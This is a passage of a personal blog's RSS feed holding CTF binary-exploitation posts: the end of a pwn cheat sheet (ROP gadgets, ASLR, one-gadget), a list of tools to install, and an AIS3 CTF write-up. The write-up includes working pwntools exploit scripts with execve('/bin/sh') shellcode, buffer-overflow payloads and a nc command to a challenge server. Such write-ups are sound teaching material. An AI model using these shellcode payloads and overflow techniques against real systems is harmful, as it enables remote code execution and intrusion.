</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print r<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">&#39;quit&#39;</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>sendline(<span style="color:#e6db74">&#39;7&#39;</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>sendline(<span style="color:#e6db74">&#39;/bin/sh</span><span style="color:#ae81ff">\x00</span><span style="color:#e6db74">&#39;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;A&#39;</span><span style="color:#f92672">*</span><span style="color:#ae81ff">8</span> <span style="color:#f92672">+</span> p64(system) )
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>interactive()
</span></span></code></pre></div><h3 id="aslr">ASLR</h3>
<ul>
<li>aslr on</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>sudo sysctl -w kernel.randomize_va_space=2
</span></span></code></pre></div><ul>
<li>aslr off</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>sudo sysctl -w kernel.randomize_va_space=0
</span></span></code></pre></div><p>If ASLR is on, locally on 32-bit you can disable it with <code>ulimit -s unlimited</code>, or you can use <code>puts</code> to leak data in the <code>.got</code> section — the offsets between libc functions are fixed.</p>
<p>Commonly seen functions:</p>
<ul>
<li>__libc_start_main</li>
<li>puts</li>
<li>read</li>
<li>write</li>
<li>&hellip;..</li>
</ul>
<h2 id="x64-general-purpose-gadgets">x64 general-purpose gadgets</h2>
<p>All of these functions can be used:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>_init
</span></span><span style="display:flex;"><span>_start
</span></span><span style="display:flex;"><span>call_gmon_start
</span></span><span style="display:flex;"><span>deregister_tm_clones
</span></span><span style="display:flex;"><span>register_tm_clones
</span></span><span style="display:flex;"><span>__do_global_dtors_aux
</span></span><span style="display:flex;"><span>frame_dummy
</span></span><span style="display:flex;"><span>__libc_csu_init
</span></span><span style="display:flex;"><span>__libc_csu_fini
</span></span><span style="display:flex;"><span>_fini
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>ROPgadget --binary ./binary --depth 100
</span></span></code></pre></div><p>Different versions have slightly different gadgets, but they&rsquo;re all usable — they live in __libc_csu_init()</p>
<p>If some instructions are cut in half, you can still operate on registers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>&lt;__libc_csu_init&gt;:
</span></span><span style="display:flex;"><span>5b                       pop    rbx
</span></span><span style="display:flex;"><span>5d                       pop    rbp
</span></span><span style="display:flex;"><span>41 5c                    pop    r12   -&gt;   pop rsp (5c)
</span></span><span style="display:flex;"><span>41 5d                    pop    r13   -&gt;   pop rbp (5d)
</span></span><span style="display:flex;"><span>41 5e                    pop    r14   -&gt;   pop rsi (5e)
</span></span><span style="display:flex;"><span>41 5f                    pop    r15   -&gt;   pop rdi (5f)
</span></span><span style="display:flex;"><span>c3                       ret
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>mov    rbx,QWORD PTR [rsp+0x8]
</span></span><span style="display:flex;"><span>mov    rbp,QWORD PTR [rsp+0x10]
</span></span><span style="display:flex;"><span>mov    r12,QWORD PTR [rsp+0x18]
</span></span><span style="display:flex;"><span>mov    r13,QWORD PTR [rsp+0x20]
</span></span><span style="display:flex;"><span>mov    r14,QWORD PTR [rsp+0x28]
</span></span><span style="display:flex;"><span>mov    r15,QWORD PTR [rsp+0x30]
</span></span><span style="display:flex;"><span>add    rsp,0x38
</span></span><span style="display:flex;"><span>ret
</span></span></code></pre></div><p>Using these gadgets you can control r12-r15; for the <code>call qword ptr [r12+rbx*8]</code>, set <code>rbp to 1 and rbx to 0</code> so that it keeps returning. It&rsquo;s clearer if you step through this part yourself.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>4c 89 ea                 mov    rdx,r13
</span></span><span style="display:flex;"><span>4c 89 f6                 mov    rsi,r14
</span></span><span style="display:flex;"><span>44 89 ff                 mov    edi,r15d
</span></span><span style="display:flex;"><span>41 ff 14 dc              call   QWORD PTR [r12+rbx*8]
</span></span></code></pre></div><h2 id="one-gadgets-rce">One gadgets RCE</h2>
<p>Some specific libc versions hide a spot that directly runs execv(&quot;/bin/sh&quot;). Look near where libc uses execv for a hidden &ldquo;/bin/sh&rdquo; string — sometimes it just works.</p>
]]></content:encoded>
    </item>
    <item>
      <title>PWN tool list</title>
      <link>https://blog.zet.tw/en/posts/2015-11-25-pwn-tool-list/</link>
      <pubDate>Wed, 25 Nov 2015 00:00:00 +0800</pubDate>
      <guid>https://blog.zet.tw/en/posts/2015-11-25-pwn-tool-list/</guid>
      <description>&lt;p&gt;ub 14.04 x64&lt;/p&gt;
&lt;h2 id=&#34;i32-lib&#34;&gt;i32 lib&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get install gcc-multilib
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd /etc/apt/sources.list.d
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;deb http://old-releases.ubuntu.com/ubuntu/ raring main restricted universe multiverse&amp;#34;&lt;/span&gt; &amp;gt;ia32-libs-raring.list
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get install ia32-libs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dpkg --add-architecture i386
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get install libssl-dev:i386
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;peda&#34;&gt;PEDA&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get install nasm micro-inetd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get install libc6-dbg
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://github.com/longld/peda
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;qira&#34;&gt;qira&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/BinaryAnalysisPlatform/qira&#34;&gt;https://github.com/BinaryAnalysisPlatform/qira&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;pwntools&#34;&gt;pwntools&lt;/h2&gt;
&lt;p&gt;Includes checksec and ROPgadget tools&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo pip install git+https://github.com/Gallopsled/pwntools#egg&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;pwntools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;fix bug&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cp /usr/local/lib/python2.7/dist-packages/usr/lib/python2.7/dist-packages/capstone/libcapstone.so /usr/local/lib/python2.7/dist-packages/capstone/.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;rp&#34;&gt;rp++&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/0vercl0k/rp/downloads&#34;&gt;https://github.com/0vercl0k/rp/downloads&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;ncat&#34;&gt;ncat&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install netcat-traditional netcat-openbsd nmap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>ub 14.04 x64</p>
<h2 id="i32-lib">i32 lib</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>apt-get install gcc-multilib
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /etc/apt/sources.list.d
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;deb http://old-releases.ubuntu.com/ubuntu/ raring main restricted universe multiverse&#34;</span> &gt;ia32-libs-raring.list
</span></span><span style="display:flex;"><span>apt-get update
</span></span><span style="display:flex;"><span>apt-get install ia32-libs
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>dpkg --add-architecture i386
</span></span><span style="display:flex;"><span>apt-get update
</span></span><span style="display:flex;"><span>apt-get install libssl-dev:i386
</span></span></code></pre></div><h2 id="peda">PEDA</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>apt-get install nasm micro-inetd
</span></span><span style="display:flex;"><span>apt-get install libc6-dbg
</span></span><span style="display:flex;"><span>https://github.com/longld/peda
</span></span></code></pre></div><h2 id="qira">qira</h2>
<p><a href="https://github.com/BinaryAnalysisPlatform/qira">https://github.com/BinaryAnalysisPlatform/qira</a></p>
<h2 id="pwntools">pwntools</h2>
<p>Includes checksec and ROPgadget tools</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pip install git+https://github.com/Gallopsled/pwntools#egg<span style="color:#f92672">=</span>pwntools
</span></span></code></pre></div><p>fix bug</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>cp /usr/local/lib/python2.7/dist-packages/usr/lib/python2.7/dist-packages/capstone/libcapstone.so /usr/local/lib/python2.7/dist-packages/capstone/.
</span></span></code></pre></div><h2 id="rp">rp++</h2>
<p><a href="https://github.com/0vercl0k/rp/downloads">https://github.com/0vercl0k/rp/downloads</a></p>
<h2 id="ncat">ncat</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt-get install netcat-traditional netcat-openbsd nmap
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>AIS3 PWN</title>
      <link>https://blog.zet.tw/en/posts/2015-11-24-ais3-pwn/</link>
      <pubDate>Tue, 24 Nov 2015 00:00:00 +0800</pubDate>
      <guid>https://blog.zet.tw/en/posts/2015-11-24-ais3-pwn/</guid>
      <description>&lt;p&gt;A quick write-up.&lt;/p&gt;
&lt;h2 id=&#34;pwn1&#34;&gt;PWN1&lt;/h2&gt;
&lt;p&gt;Throw it into IDA and you can see:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;if ( v4 == 0x90909090 )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;result = puts(aCensordCensord);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;else
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;result = printf(&amp;#34;Your point is only %d, try hard!\n&amp;#34;, v4, v1,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;v2, v3);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;return result;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Just stuff it with 0x90 and you&amp;rsquo;re done:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python -c &amp;#39;print &amp;#34;\x90&amp;#34;*1000&amp;#39; | nc 52.69.163.194 1111
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;pwn2&#34;&gt;PWN2&lt;/h2&gt;
&lt;p&gt;After locating byte 20 you can control eip:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gdb-peda$ info functions
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;All defined functions:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Non-debugging symbols:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0x08048364  _init
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0x080483a0  read@plt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can point it at &lt;code&gt;read&lt;/code&gt;; generally it looks like this:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>A quick write-up.</p>
<h2 id="pwn1">PWN1</h2>
<p>Throw it into IDA and you can see:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>if ( v4 == 0x90909090 )
</span></span><span style="display:flex;"><span>result = puts(aCensordCensord);
</span></span><span style="display:flex;"><span>else
</span></span><span style="display:flex;"><span>result = printf(&#34;Your point is only %d, try hard!\n&#34;, v4, v1,
</span></span><span style="display:flex;"><span>v2, v3);
</span></span><span style="display:flex;"><span>return result;
</span></span></code></pre></div><p>Just stuff it with 0x90 and you&rsquo;re done:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>python -c &#39;print &#34;\x90&#34;*1000&#39; | nc 52.69.163.194 1111
</span></span></code></pre></div><h2 id="pwn2">PWN2</h2>
<p>After locating byte 20 you can control eip:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>gdb-peda$ info functions
</span></span><span style="display:flex;"><span>All defined functions:
</span></span><span style="display:flex;"><span>Non-debugging symbols:
</span></span><span style="display:flex;"><span>0x08048364  _init
</span></span><span style="display:flex;"><span>0x080483a0  read@plt
</span></span></code></pre></div><p>You can point it at <code>read</code>; generally it looks like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>call
</span></span><span style="display:flex;"><span>ret
</span></span><span style="display:flex;"><span>argv1
</span></span><span style="display:flex;"><span>￼argv2
</span></span><span style="display:flex;"><span>argv3
</span></span></code></pre></div><p>You can control <code>read</code>&rsquo;s return address and arguments, so you can point <code>ret</code> and our shellcode at the same location; for the shellcode, just find any blank area and write it there.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> <span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> time
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> remote(<span style="color:#e6db74">&#39;127.0.0.1&#39;</span>, <span style="color:#ae81ff">4000</span>)
</span></span><span style="display:flex;"><span>read_adr <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xa0\x83\x04\x08</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>read <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x00\x00\x00\x00</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x00\xa1\x04\x08</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x00\x01\x00\x00</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>p <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;a&#34;</span><span style="color:#f92672">*</span><span style="color:#ae81ff">20</span> <span style="color:#f92672">+</span> read_adr <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x00\xa1\x04\x08</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">+</span> read
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>send (p)
</span></span><span style="display:flex;"><span>time<span style="color:#f92672">.</span>sleep(<span style="color:#ae81ff">5</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>send (<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd</span>
</span></span><span style="display:flex;"><span>\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68<span style="color:#e6db74">&#34;)</span>
</span></span></code></pre></div><h2 id="pwn3">PWN3</h2>
<p>A lot of this I worked out with qira. For pwn3, you can keep using <code>push</code> to overwrite <code>ret</code>, and finally exit to complete the overwrite.
First figure out how far the <code>pop leak</code> value is from our shellcode; the difference works out to 36, but it will overwrite ret, so after ret we need to give it a pointer to our shellcode.
With <code>%d</code>, anything over <code>0x80000000</code> needs <code>0x100000000</code> subtracted so the value inserted comes out correct. Our payload is expected to look like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>point to shellcode + shellcode + nop + ret
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> <span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> time
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> remote(<span style="color:#e6db74">&#39;127.0.0.1&#39;</span>,<span style="color:#ae81ff">4000</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">push</span>(num):
</span></span><span style="display:flex;"><span>     r<span style="color:#f92672">.</span>send(<span style="color:#e6db74">&#39;1</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>     time<span style="color:#f92672">.</span>sleep(<span style="color:#ae81ff">0.2</span>)
</span></span><span style="display:flex;"><span>     <span style="color:#66d9ef">if</span> num <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x80000000</span>:
</span></span><span style="display:flex;"><span>           num <span style="color:#f92672">-=</span> <span style="color:#ae81ff">0x100000000</span>
</span></span><span style="display:flex;"><span>     r<span style="color:#f92672">.</span>send( str(num) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#pop leak</span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>send(<span style="color:#e6db74">&#39;2</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>item <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>recvline_contains(<span style="color:#e6db74">&#39;item&#39;</span>)[<span style="color:#ae81ff">13</span>:<span style="color:#ae81ff">23</span>]
</span></span><span style="display:flex;"><span>shell_adr <span style="color:#f92672">=</span> int(item,<span style="color:#ae81ff">16</span>) <span style="color:#f92672">-</span> <span style="color:#ae81ff">36</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#shellcode point</span>
</span></span><span style="display:flex;"><span>push(shell_adr)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#shellcode</span>
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0x315b0beb</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0x31c931c0</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0xcd0bb0d2</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0xfff0e880</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0x622fffff</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0x732f6e69</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0x90900068</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#nop</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> _ <span style="color:#f92672">in</span> range (<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">16</span>):
</span></span><span style="display:flex;"><span>     push(<span style="color:#ae81ff">0x90909090</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ret</span>
</span></span><span style="display:flex;"><span>push(shell_adr)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#exit</span>
</span></span><span style="display:flex;"><span>time<span style="color:#f92672">.</span>sleep(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>send(<span style="color:#e6db74">&#39;4</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#get shell</span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>interactive()
</span></span></code></pre></div>]]></content:encoded>
    </item>
  </channel>
</rss>
